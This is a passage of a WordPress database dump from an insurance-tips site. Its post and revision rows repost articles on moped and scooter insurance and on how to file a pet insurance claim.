scooter or e-scooter, as most likely it will not.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>While car insurance coverage usually extends to a rental car, it doesn’t typically cover a rented motorcycle, moped, scooter or e-scooter. That’s because these vehicles have fewer than four wheels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Will Motorcycle Insurance Cover a Rented Moped, Scooter or E-scooter?</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Yes, it might. Some insurance companies extend motorcycle insurance coverage to rentals of other two-wheeled vehicles. For example, with Foremost’s Elite motorcycle insurance package a rental motorcycle or moped is covered under the policy’s enhanced rental coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you need insurance for a rented two-wheeled vehicle and have a personal motorcycle, moped or scooter insurance policy, contact your insurance company to verify what coverage will extend to rentals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A motorcycle insurance policy (or one for a moped or gas-powered seated scooter) likely won’t extend to an electric scooter because it’s not a two-wheeled vehicle and you stand on the e-scooter.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.forbes.com/advisor/car-insurance/moped-and-scooter-insurance/\">click here.</a></p>\n<!-- /wp:paragraph -->','What To Know About Moped And Scooter Insurance','','publish','closed','closed','','what-to-know-about-moped-and-scooter-insurance-2','','','2024-01-29 23:22:20','2024-01-29 23:22:20','',0,'https://smartinsurance.tips/?p=3793',0,'post','',0),(3794,1,'2024-01-29 23:19:55','2024-01-29 23:19:55','','rsz_1untitled_58','','inherit','closed','closed','','rsz_1untitled_58','','','2024-01-29 23:19:55','2024-01-29 23:19:55','',3793,'http://smartinsurance.tips/wp-content/uploads/2024/01/rsz_1untitled_58.png',0,'attachment','image/png',0);
INSERT INTO `smart_posts` VALUES (3795,1,'2024-01-29 23:22:20','2024-01-29 23:22:20','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3794,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/01/rsz_1untitled_58.png\" alt=\"\" class=\"wp-image-3794\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Mopeds and scooters can make commuting a breeze. With small engines and compact frames, you can zip around town without guzzling gas or struggling to find a good parking spot.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But for all the convenience of a moped or scooter, it could come with an extra cost: You may need to buy insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Are There Differences Between Scooter Insurance and Moped Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>There are no fundamental differences between scooter insurance and moped insurance. Because both mopeds and scooters are two-wheeled vehicles, they both fall under the motorcycle insurance category with most insurance companies.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Insurance needs for a moped or scooter generally align—even if the specifications of the vehicle differ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">What Is the Difference Between a Moped and Scooter?</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Mopeds and scooters are both small, two-wheeled vehicles powered by gasoline engines, but the maximum speed and engine size vary. State law definitions of mopeds and scooters can differ, so look to your state’s department of motor vehicles (DMV) for clarification.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In general, the key differences between mopeds and scooters are:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Mopeds</strong>&nbsp;typically have an engine that is up to 50 cubic centimeters (50cc) and are not intended for highway travel. Top speed usually does not exceed 30 mph.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Scooters</strong>&nbsp;often have larger engines that exceed 50cc (sometimes up to 250cc) and the most powerful ones can reach speeds up to 75 mph. You may not be able to ride your scooter on a highway, depending on your state’s engine size and horsepower minimums.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Mopeds and scooters should not be confused with the e-scooters commonly seen on the streets and sidewalks of many U.S. cities. E-scooters are typically battery-powered, don’t require a driver’s license and often can’t surpass 15 to 20 mph. Since e-scooters require users to stand, they may be excluded from moped, scooter and motorcycle insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Do I Need Moped or Scooter Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Most states require you to carry liability insurance to ride your moped or scooter on public roads if it has an engine size of 50cc or larger or can reach a top speed of 30 mph or more. If your moped is under 50cc or cannot reach 30 mph, you will most likely not be required to get insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A car insurance policy isn’t suitable for a moped or scooter. Most insurance companies cover mopeds and scooters under their motorcycle insurance policies, though some insurers offer separate policies for mopeds or scooters. If you lease or finance a moped or scooter, the lender or leasing company will likely require that you insure it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Does Your State Require Moped or Scooter Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Not every state requires moped or scooter insurance. For example, Arizona, Pennsylvania and Texas require moped or scooter insurance, but Florida does not.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Some state insurance laws are more complicated, such as California, and may require insurance for a scooter but not a moped. And other states base insurance mandates on specific factors, such as the vehicle’s top speed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, New York has separate classes for mopeds and scooters—which it places both under the banner of “limited-use motorcycles”—based on the vehicle’s top speed range. Depending on where your moped or scooter falls determines if it needs insurance, as well as other items, like where it may be driven.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To learn what the laws are in your state, you can:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Check with your auto insurance company or insurance agent.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Contact your state’s department of insurance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Contact your state’s department of motor vehicles.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What Does Moped and Scooter Insurance Cover?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Moped and scooter insurance generally includes coverage types similar to motorcycle and car insurance, such as:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Bodily Injury and Property Damage Liability</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Moped and scooter bodily injury liability insurance covers injuries you accidentally cause others in an accident. Property damage liability pays for damage you accidentally cause to someone else’s property, such as a car, fence or pole.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Collision and Comprehensive Insurance</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Collision and comprehensive insurance are separate, optional coverage types, but are often sold together. If you have a lease or loan on your moped or scooter, your leasing company or lender will likely require you to carry these coverage types.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Collision insurance pays for repairs if your moped or scooter is damaged in an accident, regardless of fault.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Comprehensive insurance covers problems such as theft and damage to your moped or scooter from vandalism, flood, fire, falling objects or striking an animal.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Carried Contents and Belongings</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Carried contents and belonging coverage pays if your belongings are damaged, stolen or lost while you’re riding the moped or scooter.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Medical Payments</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Medical payments coverage, also known as MedPay, covers medical bills and funeral costs for you or your passengers if you’re in an accident, no matter who was at fault.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Uninsured or Underinsured Motorists</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Uninsured motorist insurance pays for you and your passengers’ medical bills, lost income and other expenses if someone crashes into you and they do not have liability insurance. Underinsured motorist insurance pays for your injuries if the at-fault driver does not have adequate liability insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Moped and Scooter Insurance Discounts</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>When you insure a moped or scooter you may be able to score a discount such as:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Multi-policy discount.</strong> Bundling insurance is when you buy two or more policies from one insurance company and get a discount. You may be able to bundle moped or scooter coverage with another insurance type, such as auto, home, RV or boat insurance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Multi-vehicle discount.</strong>&nbsp;When you insure more than one vehicle, such as a car, motorcycle, moped, ATV or snowmobile, you might get a discount. You may also qualify for a multi-vehicle discount if you insure at least two mopeds or scooters.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Safety discount.</strong>&nbsp;If you take an approved moped or scooter safety course, you may be able to pick up a discount.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Storage discount.</strong>&nbsp;Some companies give discounts if you keep the moped or scooter in a garage.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How Much Is Moped and Scooter Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Moped and scooter insurance can be as cheap as $4 to $6 per month.</strong> For example, scooter insurance through Progressive is as low as $75 a year for basic liability insurance. A company called Voom sells pay-per-mile coverage for mopeds and scooters that it says costs as little as $50 a year. Those prices are inexpensive compared to how much motorcycle insurance costs, which is an average of $178 per month, according to Forbes Advisor’s analysis.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Pro Tip:</strong> To find the best deal on moped and scooter insurance, compare quotes from multiple insurers—starting with your current insurance company for car, home or renters insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Your cost for moped and scooter insurance depends on factors such as:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Coverage you choose</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Driving record</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Engine size</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Location of your home</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Mileage</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Model, make and vehicle year of moped or scooter</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Years of riding experience</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Your age</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Do I Need Insurance If I Rent a Moped, Scooter or E-Scooter?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Insurance laws vary by location regarding mopeds, scooters and e-scooters insurance, so depending on the state and city you’re renting in, you may need insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Before hopping on a rented moped, scooter, e-bike or e-scooter, review the rental agreement’s terms of service to see if any insurance is provided or if you’re left personally liable and responsible if you don’t buy your own insurance. Ask for clarification if you’re uncertain about whether insurance is required and what—if any—coverage is included with the rental contract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For instance, the Texas Department of Insurance notes some cities in Texas require scooter rental companies to have insurance coverage, but this mainly covers damage to public property, not injuries or other property damage, like damage to a vehicle you crash into.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Will My Car Insurance Cover a Rented Moped, Scooter or E-scooter?</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Don’t assume your car insurance will extend to a rental of a moped, scooter or e-scooter, as most likely it will not.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>While car insurance coverage usually extends to a rental car, it doesn’t typically cover a rented motorcycle, moped, scooter or e-scooter. That’s because these vehicles have fewer than four wheels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Will Motorcycle Insurance Cover a Rented Moped, Scooter or E-scooter?</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Yes, it might. Some insurance companies extend motorcycle insurance coverage to rentals of other two-wheeled vehicles. For example, with Foremost’s Elite motorcycle insurance package a rental motorcycle or moped is covered under the policy’s enhanced rental coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you need insurance for a rented two-wheeled vehicle and have a personal motorcycle, moped or scooter insurance policy, contact your insurance company to verify what coverage will extend to rentals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A motorcycle insurance policy (or one for a moped or gas-powered seated scooter) likely won’t extend to an electric scooter because it’s not a two-wheeled vehicle and you stand on the e-scooter.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.forbes.com/advisor/car-insurance/moped-and-scooter-insurance/\">click here.</a></p>\n<!-- /wp:paragraph -->','What To Know About Moped And Scooter Insurance','','inherit','closed','closed','','3793-revision-v1','','','2024-01-29 23:22:20','2024-01-29 23:22:20','',3793,'https://smartinsurance.tips/?p=3795',0,'revision','',0),(3796,1,'2024-01-29 23:26:09','2024-01-29 23:26:09','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3797,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/01/Untitled-59-1024x1024.png\" alt=\"\" class=\"wp-image-3797\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Taking your pet to the vet is often a stressful event—especially if the pet is severely hurt or sick. At that moment you’re focused on nursing your pet back to health. And the looming, unknown veterinarian bill may be on your mind, too.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Pet insurance is a financial safety net for situations like this. With its reimbursements for vet charges for accidents and injuries, you can visit the vet with much less fear about how you’ll manage to pay a giant bill.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Understanding how to file a pet insurance claim before something happens can make the whole event less anxiety-ridden.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How Do You File A Pet Insurance Claim?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>You’re likely familiar with the process of submitting a (human) health insurance claim. You or your doctor sends a claim to your insurance company, which then pays expenses that fall under your coverage. You pay the remaining balance not covered by insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are usually two ways to submit a pet insurance claim—by either requesting reimbursement or paying the vet directly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Request reimbursement.</strong> With the reimbursement method—the most common method among pet insurance companies—you first pay out-of-pocket for the vet bill and then the insurance company reimburses you for covered expenses. You will:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li>Pay the veterinarian bill right after the visit.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Complete a pet insurance claim form.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Submit the claim and supporting documentation to the insurer via an app, online portal, email, fax, or mail.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Once you submit a claim and it’s approved, you’ll get reimbursement via direct deposit or check.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Pay the vet directly.</strong>&nbsp;Some pet insurance companies like Pets Best and Trupanion have the ability to pay the vet directly. With Vet Direct Pay by Pets Best, the insurer pays a vet directly after a claim is approved—as long as your vet agrees to this form of payment. This means that you won’t have to pay and wait for reimbursement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Trupanion has its own claims processing system—Trupanion Express—that gives the vet the capability to submit claims via a web-based system.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Verify the specific process with your own pet insurer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Avoiding Claim Payment Surprises</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>It’s also good to be familiar with what your plan will cover, so you’re not surprised by the amount of a claims check.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, you may have forgotten the level of coverage you bought when you originally purchased the pet insurance plan. Pet insurance typically doesn’t cover 100% of vet bills. Check your policy for:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Your deductible:</strong>&nbsp;You’ll have chosen a deductible such as $250. This will automatically be deducted from your first claim of the policy period.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Your reimbursement level:</strong>&nbsp;This is like co-insurance for a pet plan. Plans generally pay 70%, 80% or 90% of eligible vet bills—after the deductible.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Coverage maximum:</strong> Check for the annual coverage cap, such as $5,000. Vet bills over the cap won’t be paid. Some plans offer unlimited annual coverage.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What You’ll Need to File a Claim</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>When submitting a pet insurance claim, here’s what you generally need to include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Itemized invoice of the visit.</strong>&nbsp;The veterinarian bill should show all charges, discounts, taxes and all other fees. Make sure to grab your invoice at the time you pay, and verify it shows a zero dollar balance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Claims form.</strong>&nbsp;Some insurance providers will require a claim form. However, if you’re using an online platform like MyEmbrace from Embrace Pet Insurance, all information is entered right from your log-in, so you don’t need a separate form.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Veterinary medical records.</strong>&nbsp;To file your first claim, you must submit your pet’s medical records. Since pet insurance coverage usually excludes all pre-existing conditions, the medical records help identify any conditions the pet had before coverage began.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Bank routing and account number.</strong>&nbsp;Some pet insurance companies offer electronic reimbursements. If you want to receive an electronic payment, make sure you provide your bank account information.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Wait Time for a Claim Payment</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Since the claim process varies by insurer, so will the time it takes to get your reimbursement. As long as you send in all of the correct paperwork, insurers usually turn claims around in five to 14 days.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But the pandemic stretched out claims payments times. “In the last year, the pandemic has made the biggest impact on turnaround times for claims,” says Alex Stone, founder of PetInsurer.com, a pet insurance comparison provider.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“Because some insurers weren’t set up for a remote work environment, it took them a little while to have staff fully set up at home. This slowed the claims process down, and then, as millions more pets were adopted during Covid, it only made the process more clunky. Happily, claims processing times have now pretty much returned to pre-pandemic levels,” says Stone.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How to Avoid Pet Insurance Claim Problems</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>“Fundamentally, the reason to buy pet insurance is to use it. So knowing that you’re going to have a claims process that’s efficient, simple, and is going to work, gives consumers peace of mind and confidence in their purchase,” says Walter Haugland, a spokesperson for Pets Best.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are things you can do to ensure the claim-filing process goes without a hitch.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Be confident that your claim is valid.</strong>&nbsp;“Before you submit a claim, make sure it’s for a new condition that occurred after any waiting period expired,” says Stone. “If your pet was showing signs or symptoms, had been to the vet, or was taking medication for this condition, then understand it’s likely not covered by the insurance company.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Follow the claim instructions.</strong>&nbsp;Every insurance company has a different process for claims. It’s important to follow the claims process and avoid cutting corners on tasks like sending the necessary documents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Submit your claim right away.</strong>&nbsp;Because some insurance companies limit the time they pay out claims after treatment, it’s in your best interest to get the process underway as soon as possible. For example, you might have 180 days from the treatment date to submit your claim and the paid invoice. Check your policy to verify the plan’s deadline.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Being prompt can ensure you address any claims hiccups promptly. Plus, unless the insurer can pay the vet directly, you’re waiting for your money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Provide all medical records.</strong>&nbsp;This may require making multiple calls. “Often, there are multiple vets involved in pet care, and insurers may require all medical records from all vets. Therefore, whether it’s your first or fourth claim, you may need to ensure all medical records are sent to the insurer,” says Haugland.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“If you don’t provide all medical records upfront, the insurance company will likely reach out to you and the vet directly, which usually slows down the claim-filing process.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Be communicative.</strong> If your pet insurance company requests further documentation, try to send it promptly. Ask your insurance company what kind of waiting time to expect for payment and how you can expedite the claim.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Appeal if you’re not satisfied after a claim denial. If you find out a claim was denied because the treatment simply wasn’t covered by the policy, you may decide not to pursue the issue. But if you disagree with a denial, ask the insurer what their appeals process is. For example, with Pets Best, if you disagree after the first appeal (for example, due to medical facts), they will bring in a third-party vet to conduct another review. After that, the vet’s decision will be final.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If the claim issue is still not resolved to your liking, you can make a complaint to your state’s insurance department. Insurance departments are responsible for regulating insurance companies and monitoring patterns of complaints, so they are the best place to take a grievance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.forbes.com/advisor/pet-insurance/how-to-make-pet-insurance-claim/\">click here.</a></p>\n<!-- /wp:paragraph -->','How to Make a Pet Insurance Claim','','publish','closed','closed','','how-to-make-a-pet-insurance-claim','','','2024-01-29 23:26:09','2024-01-29 23:26:09','',0,'https://smartinsurance.tips/?p=3796',0,'post','',0),(3797,1,'2024-01-29 23:23:27','2024-01-29 23:23:27','','Untitled-59','','inherit','closed','closed','','untitled-59','','','2024-01-29 23:23:27','2024-01-29 23:23:27','',3796,'http://smartinsurance.tips/wp-content/uploads/2024/01/Untitled-59.png',0,'attachment','image/png',0),(3798,1,'2024-01-29 23:26:09','2024-01-29 23:26:09','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3797,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/01/Untitled-59-1024x1024.png\" alt=\"\" class=\"wp-image-3797\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Taking your pet to the vet is often a stressful event—especially if the pet is severely hurt or sick. At that moment you’re focused on nursing your pet back to health. And the looming, unknown veterinarian bill may be on your mind, too.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Pet insurance is a financial safety net for situations like this. With its reimbursements for vet charges for accidents and injuries, you can visit the vet with much less fear about how you’ll manage to pay a giant bill.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Understanding how to file a pet insurance claim before something happens can make the whole event less anxiety-ridden.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How Do You File A Pet Insurance Claim?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>You’re likely familiar with the process of submitting a (human) health insurance claim. You or your doctor sends a claim to your insurance company, which then pays expenses that fall under your coverage. You pay the remaining balance not covered by insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are usually two ways to submit a pet insurance claim—by either requesting reimbursement or paying the vet directly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Request reimbursement.</strong> With the reimbursement method—the most common method among pet insurance companies—you first pay out-of-pocket for the vet bill and then the insurance company reimburses you for covered expenses. You will:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li>Pay the veterinarian bill right after the visit.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Complete a pet insurance claim form.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Submit the claim and supporting documentation to the insurer via an app, online portal, email, fax, or mail.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Once you submit a claim and it’s approved, you’ll get reimbursement via direct deposit or check.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Pay the vet directly.</strong>&nbsp;Some pet insurance companies like Pets Best and Trupanion have the ability to pay the vet directly. With Vet Direct Pay by Pets Best, the insurer pays a vet directly after a claim is approved—as long as your vet agrees to this form of payment. This means that you won’t have to pay and wait for reimbursement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Trupanion has its own claims processing system—Trupanion Express—that gives the vet the capability to submit claims via a web-based system.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Verify the specific process with your own pet insurer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Avoiding Claim Payment Surprises</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>It’s also good to be familiar with what your plan will cover, so you’re not surprised by the amount of a claims check.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, you may have forgotten the level of coverage you bought when you originally purchased the pet insurance plan. Pet insurance typically doesn’t cover 100% of vet bills. Check your policy for:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Your deductible:</strong>&nbsp;You’ll have chosen a deductible such as $250. This will automatically be deducted from your first claim of the policy period.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Your reimbursement level:</strong>&nbsp;This is like co-insurance for a pet plan. Plans generally pay 70%, 80% or 90% of eligible vet bills—after the deductible.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Coverage maximum:</strong> Check for the annual coverage cap, such as $5,000. Vet bills over the cap won’t be paid. Some plans offer unlimited annual coverage.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What You’ll Need to File a Claim</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>When submitting a pet insurance claim, here’s what you generally need to include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Itemized invoice of the visit.</strong>&nbsp;The veterinarian bill should show all charges, discounts, taxes and all other fees. Make sure to grab your invoice at the time you pay, and verify it 